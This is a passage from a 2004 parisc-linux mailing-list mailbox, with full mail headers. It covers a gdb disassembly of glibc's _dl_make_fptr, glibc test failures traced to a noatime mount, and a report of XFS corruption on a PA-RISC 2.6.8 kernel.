     0x412857f0 <_dl_make_fptr+288>: ldw -50(,sp),r7
     0x412857f4 <_dl_make_fptr+292>: ldw -4c(,sp),r6
     0x412857f8 <_dl_make_fptr+296>: ldw -48(,sp),r5
     0x412857fc <_dl_make_fptr+300>: ldw -44(,sp),r4
     0x41285800 <_dl_make_fptr+304>: ldw -40(,sp),r3
     0x41285804 <_dl_make_fptr+308>: bv r0(rp)
     0x41285808 <_dl_make_fptr+312>: ldo -80(sp),sp
     0x4128580c <_dl_make_fptr+316>: ldw 4(,r5),r20
     0x41285810 <_dl_make_fptr+320>: cmpib,<>,n 0,r20,0x41285984 <_dl_make_fptr+692>
     0x41285814 <_dl_make_fptr+324>: ldw 8(,r5),r21
     0x41285818 <_dl_make_fptr+328>: depw,z r21,30,31,r20

Dump of assembler code from 0x412858f4 to 0x412859f4:
     0x412858f4 <_dl_make_fptr+548>: ldw 30(,r26),r20	<==== map->l_mach.fptr_table()
     0x412858f8 <_dl_make_fptr+552>: ldw 4(,r20),r21
     0x412858fc <_dl_make_fptr+556>: addil 0,r19,%r1
     0x41285900 <_dl_make_fptr+560>: copy r1,r22
     0x41285904 <_dl_make_fptr+564>: ldw 2c(,r26),r20
     0x41285908 <_dl_make_fptr+568>: ldw 4(,r20),r26
     0x4128590c <_dl_make_fptr+572>: sub r26,r21,r26
     0x41285910 <_dl_make_fptr+576>: ldw 44(,r10),r20
     0x41285914 <_dl_make_fptr+580>: ldw 4(,r20),r25
     0x41285918 <_dl_make_fptr+584>: b,l 0x41287d60 <$$divU>,r31
     0x4128591c <_dl_make_fptr+588>: copy r19,r4
     0x41285920 <_dl_make_fptr+592>: ldi -1,r20
     0x41285924 <_dl_make_fptr+596>: stw r20,-34(,sp)
     0x41285928 <_dl_make_fptr+600>: ldi 0,r26
     0x4128592c <_dl_make_fptr+604>: ldw 638(,r22),r20
     0x41285930 <_dl_make_fptr+608>: ldw 4(,r20),r25
     0x41285934 <_dl_make_fptr+612>: depw,z ret1,29,30,r5
     0x41285938 <_dl_make_fptr+616>: ldi 3,r24
     0x4128593c <_dl_make_fptr+620>: sub r0,r25,r20
     0x41285940 <_dl_make_fptr+624>: copy ret1,r6
     0x41285944 <_dl_make_fptr+628>: stw r0,-38(,sp)
     0x41285948 <_dl_make_fptr+632>: add,l r5,r25,r25
     0x4128594c <_dl_make_fptr+636>: ldi 12,r23
     0x41285950 <_dl_make_fptr+640>: ldo -1(r25),r25
     0x41285954 <_dl_make_fptr+644>: b,l 0x412869a8 <__mmap>,rp
     0x41285958 <_dl_make_fptr+648>: and r25,r20,r25
     0x4128595c <_dl_make_fptr+652>: copy r4,r19
     0x41285960 <_dl_make_fptr+656>: cmpib,= -1,ret0,0x412859e0 <_dl_make_fptr+784>
     0x41285964 <_dl_make_fptr+660>: copy ret0,r26
     0x41285968 <_dl_make_fptr+664>: ldw 1fc(,r10),r20
     0x4128596c <_dl_make_fptr+668>: cmpib,<>,n 0,r20,0x412859a0 <_dl_make_fptr+720>
     0x41285970 <_dl_make_fptr+672>: copy r6,ret1
     0x41285974 <_dl_make_fptr+676>: stw r6,1f8(,r10)
     0x41285978 <_dl_make_fptr+680>: ldw 1fc(,r10),r6
     0x4128597c <_dl_make_fptr+684>: b,l 0x4128572c <_dl_make_fptr+92>,r0
     0x41285980 <_dl_make_fptr+688>: stw ret0,1fc(,r10)	<==== return map->l_mach.fptr_table;
     0x41285984 <_dl_make_fptr+692>: copy r20,r26
     0x41285988 <_dl_make_fptr+696>: ldw 0(,r20),r20
     0x4128598c <_dl_make_fptr+700>: b,l 0x412857a0 <_dl_make_fptr+208>,r0
     0x41285990 <_dl_make_fptr+704>: stw r20,4(,r5)
     0x41285994 <_dl_make_fptr+708>: stw ret0,0(,r5)
     0x41285998 <_dl_make_fptr+712>: b,l 0x412857a0 <_dl_make_fptr+208>,r0
     0x4128599c <_dl_make_fptr+716>: ldo c(ret0),r26
     0x412859a0 <_dl_make_fptr+720>: b,l 0x41286a04 <munmap>,rp
     0x412859a4 <_dl_make_fptr+724>: copy r5,r25
     0x412859a8 <_dl_make_fptr+728>: ldw 1f8(,r10),ret1
     0x412859ac <_dl_make_fptr+732>: ldw 1fc(,r10),r6
     0x412859b0 <_dl_make_fptr+736>: b,l 0x4128572c <_dl_make_fptr+92>,r0
     0x412859b4 <_dl_make_fptr+740>: copy r4,r19
     0x412859b8 <_dl_make_fptr+744>: addil 0,r4,%r1
     0x412859bc <_dl_make_fptr+748>: ldw 0(,r16),r26
     0x412859c0 <_dl_make_fptr+752>: ldw 5c4(,r1),r23
     0x412859c4 <_dl_make_fptr+756>: ldi 0,r25
     0x412859c8 <_dl_make_fptr+760>: b,l 0x41280f10 <_dl_signal_error>,rp
     0x412859cc <_dl_make_fptr+764>: ldi 0,r24
     0x412859d0 <_dl_make_fptr+768>: addil 0,r19,%r1
     0x412859d4 <_dl_make_fptr+772>: ldi 0,r26
     0x412859d8 <_dl_make_fptr+776>: b,l 0x412859c4 <_dl_make_fptr+756>,r0
     0x412859dc <_dl_make_fptr+780>: ldw 5c8(,r1),r23
     0x412859e0 <_dl_make_fptr+784>: addil 0,r4,%r1
     0x412859e4 <_dl_make_fptr+788>: ldw 610(,r1),r20
     0x412859e8 <_dl_make_fptr+792>: ldw 0(,r20),r26
     0x412859ec <_dl_make_fptr+796>: addil 0,r4,%r1
     0x412859f0 <_dl_make_fptr+800>: b,l 0x412859c4 <_dl_make_fptr+756>,r0
End of assembler dump.

I have to thought more on how to create a test case (all advise is always well come :) )

Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: back to glibc-2.3.3 & gcc-3.4.1 pb
Date: Mon, 6 Sep 2004 18:02:52 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20040906220252.GP15721@baldric.uwo.ca>
References: <413775C8.3060108@tiscali.be>
	<20040903154019.GR32474@baldric.uwo.ca>
	<4138B043.2020009@tiscali.be>
	<20040904162953.GE32474@baldric.uwo.ca>
	<413AE748.3030207@tiscali.be> <413AFB1F.7010407@tiscali.be>
	<20040906200321.GO15721@baldric.uwo.ca>
	<413CC811.4020401@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623545 10942 80.91.229.3 (22 Nov 2014 02:32:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32425 invoked by uid 65534); 6 Sep 2004 22:03:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 07 Sep 2004 00:03:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C26203BDF3; Mon,  6 Sep 2004 16:03:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28973-07; Mon, 6 Sep 2004 16:03:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 837803BDFD; Mon,  6 Sep 2004 16:03:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89B213BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 16:03:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28778-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Sep 2004 16:03:27 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3D5533BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 16:03:27 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C4RZd-0002SB-00; Mon, 06 Sep 2004 18:02:53 -0400
Content-Disposition: inline
In-Reply-To: <413CC811.4020401@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (41% Sync Ratio [====......])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21951

On Mon, Sep 06, 2004 at 08:26:57PM +0000, Joel Soete wrote:
> "atime has not changed"
> 
> mmm may be that's logical:
> /dev/sda3		/		xfs		noatime		 
> 

Yes. That is the reason for the failure.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: back to glibc-2.3.3 & gcc-3.4.1 pb
Date: Mon, 6 Sep 2004 16:03:21 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20040906200321.GO15721@baldric.uwo.ca>
References: <413775C8.3060108@tiscali.be>
	<20040903154019.GR32474@baldric.uwo.ca>
	<4138B043.2020009@tiscali.be>
	<20040904162953.GE32474@baldric.uwo.ca>
	<413AE748.3030207@tiscali.be> <413AFB1F.7010407@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623545 10945 80.91.229.3 (22 Nov 2014 02:32:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28645 invoked by uid 65534); 6 Sep 2004 20:04:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 06 Sep 2004 22:04:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1DD8B3BE15; Mon,  6 Sep 2004 14:04:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28031-07; Mon, 6 Sep 2004 14:04:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7EFE33BDFF; Mon,  6 Sep 2004 14:04:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E55D53BDF3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 14:03:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28037-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Sep 2004 14:03:55 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id B02693BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 14:03:55 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C4Phy-000298-00; Mon, 06 Sep 2004 16:03:22 -0400
Content-Disposition: inline
In-Reply-To: <413AFB1F.7010407@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (41% Sync Ratio [====......])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21952


Joel,

> make[2]: *** [/space/jrso/parisc-linux/build/glibc/libio/tst-atime.out] 

This is new. Could you see why this is failing?

> make[2]: *** [/space/jrso/parisc-linux/build/glibc/posix/tst-waitid.out] 

This is a new one I'm working to fix.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: back to glibc-2.3.3 & gcc-3.4.1 pb
Date: Mon, 06 Sep 2004 20:26:57 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <413CC811.4020401@tiscali.be>
References: <413775C8.3060108@tiscali.be>
	<20040903154019.GR32474@baldric.uwo.ca>
	<4138B043.2020009@tiscali.be>
	<20040904162953.GE32474@baldric.uwo.ca>
	<413AE748.3030207@tiscali.be> <413AFB1F.7010407@tiscali.be>
	<20040906200321.GO15721@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623545 10949 80.91.229.3 (22 Nov 2014 02:32:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2733 invoked by uid 65534); 6 Sep 2004 20:25:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 06 Sep 2004 22:25:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 14CC93BE15; Mon,  6 Sep 2004 14:25:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28244-05; Mon, 6 Sep 2004 14:25:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D88CC3BDFD; Mon,  6 Sep 2004 14:25:30 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C6B53BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 14:25:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28037-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Sep 2004 14:25:26 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 500DB3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Sep 2004 14:25:25 -0600 (MDT)
Original-Received: from [83.134.225.100] (helo=[83.134.225.100])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C4Q3H-0001WT-Lw; Mon, 06 Sep 2004 22:25:23 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
In-Reply-To: <20040906200321.GO15721@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21953



Carlos O'Donell wrote:
> Joel,
> 
> 
>>make[2]: *** [/space/jrso/parisc-linux/build/glibc/libio/tst-atime.out] 
> 
> 
> This is new. Could you see why this is failing?
> 
"atime has not changed"

mmm may be that's logical:
/dev/sda3		/		xfs		noatime			

hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Ochman <fback@fback.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xfs in unusable with pa-linux 2.6.8?
Date: Thu, 09 Sep 2004 13:37:02 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <4140405E.4070202@fback.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623546 10950 80.91.229.3 (22 Nov 2014 02:32:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:26 +0000 (UTC)
To: PARISC Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27187 invoked by uid 65534); 9 Sep 2004 11:39:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 09 Sep 2004 13:39:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DA8E13BDCE; Thu,  9 Sep 2004 05:38:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28279-03; Thu, 9 Sep 2004 05:38:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E9C563BDD6; Thu,  9 Sep 2004 05:38:18 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC6023BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Sep 2004 05:38:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25446-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Sep 2004 05:38:13 -0600 (MDT)
Original-Received: from Centaur.SILWEB.PL (centaur.SILWEB.PL [212.106.191.113])
	by free.linux.hp.com (Postfix) with ESMTP id 0E3BE3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Sep 2004 05:38:12 -0600 (MDT)
Original-Received: from chlew.home.fback.net (root@chlew.home.fback.net [80.53.236.154])
	by Centaur.SILWEB.PL (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i89Ba7Uw018404 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Sep 2004 13:36:08 +0200
Original-Received: from [192.168.0.1] (ptah.ck.polsl.gliwice.pl [157.158.2.164])
	(authenticated bits=0)
	by chlew.home.fback.net (8.12.11/8.12.11/Debian-3) with ESMTP id
	i89BbAxl004429
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Sep 2004 13:38:07 +0200
User-Agent: Mozilla Thunderbird 0.7.3 (X11/20040830)
X-Accept-Language: en-us, en
X-Enigmail-Version: 0.85.0.0
X-Enigmail-Supports: pgp-inline, pgp-mime
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21954

Hello.

Can anybody confirm this? It happens after reboot nearly every time, but 
also after some time using this fs. The result is different from time to 
time, sometimes kernel crashes with some backtrace (unfortunately I 
don't have xfs anymore, and it would be difficult to get one now, since 
I've moved back to ext2 already), sometimes it oopses with message 
saying the filesystem is not xfs after reboot. After repairing with 
xfs_repair most of the filesystem lands in lost+found and the filesystem 
is generally not usable anymore. I thought it's sync-related, but I'm 
not sure now, sync; sync; sync; reboot commands does not solve the problem.

I'll try to make some unimportatnt "partition" later, and send you more 
detailed report.

Regards,
BO
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Optimi[zs]e copy_*_user routines
Date: Thu, 9 Sep 2004 17:00:32 -0700
Lines: 563
Approved: news@gmane.org
Message-ID: <20040910000032.GJ28659@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623546 10951 80.91.229.3 (22 Nov 2014 02:32:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30676 invoked by uid 65534); 10 Sep 2004 00:01:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 10 Sep 2004 02:01:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 060E43BDFD; Thu,  9 Sep 2004 18:01:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01402-06; Thu, 9 Sep 2004 18:01:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 308F23BDDD; Thu,  9 Sep 2004 18:00:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69CFD3BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Sep 2004 18:00:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01402-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Sep 2004 18:00:34 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 95F1F3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Sep 2004 18:00:33 -0600 (MDT)
